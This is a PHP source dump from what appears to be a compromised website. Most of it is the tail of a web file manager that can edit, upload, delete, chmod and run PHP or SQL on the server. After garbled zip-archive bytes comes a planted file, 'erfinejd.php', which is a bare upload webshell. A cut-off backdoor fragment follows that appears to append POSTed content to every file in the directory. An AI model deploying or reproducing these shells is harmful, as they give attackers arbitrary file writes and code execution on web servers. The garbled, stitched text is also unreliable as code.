<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$editlink?>">
<textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save"
value="<?=__('Submit')?>">
<input type="submit" name="cancel"
value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
$link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
}
}
}
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').'
'.$_REQUEST['delete'];
}
}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').'
'.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').'
('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>
';
}
} else {
$msg .= __('Nothing founded');
}
}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').'
'.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file =
str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="dirname"
size="15">
<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="filename"
size="15">
<input type="submit" name="mkfile"
value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post"
action="<?=$url_inc?>"
style="display:inline">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
<input type="submit" name="search"
value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
<input type="submit" name="test"
value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action=""
method="post">
<input name="quit" type="hidden"
value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit"
value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr>
<th style="white-space:nowrap">
<?=__('Filename')?> </th>
<th style="white-space:nowrap">
<?=__('Size')?> </th>
<th style="white-space:nowrap">
<?=__('Date')?> </th>
<th style="white-space:nowrap">
<?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
$link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder"> </span>
'.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').' zip',__('Archiving').'
'. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').'
'.$file);
$style = 'row2';
if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img"> </span>
'.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file"> </span>
'.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink =
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
$arlink =
in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').'
'. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"';
}
$deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
| <a
href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) &&
is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return
$this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to
').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not
readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.':
<br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is
incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is
incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long
header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
else $header['filename'] =
$path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'],
'wb')) == 0) {
$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) !=
$header['size']) {
$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').'
'.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').':
'.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));
$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);
$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0))
return true;
$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag'])
== '5') $header['size'] = 0;
$header['filename'] =
trim($unpack_data['filename']);
$header['mode'] =
OctDec(trim($unpack_data['mode']));
$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
$header['size'] =
OctDec(trim($unpack_data['size']));
$header['time'] =
OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' '
(space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
}
} else $result = '';
return $result;
}
}
?>PK�V�[���6��erfinejd.phpnu�[���<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
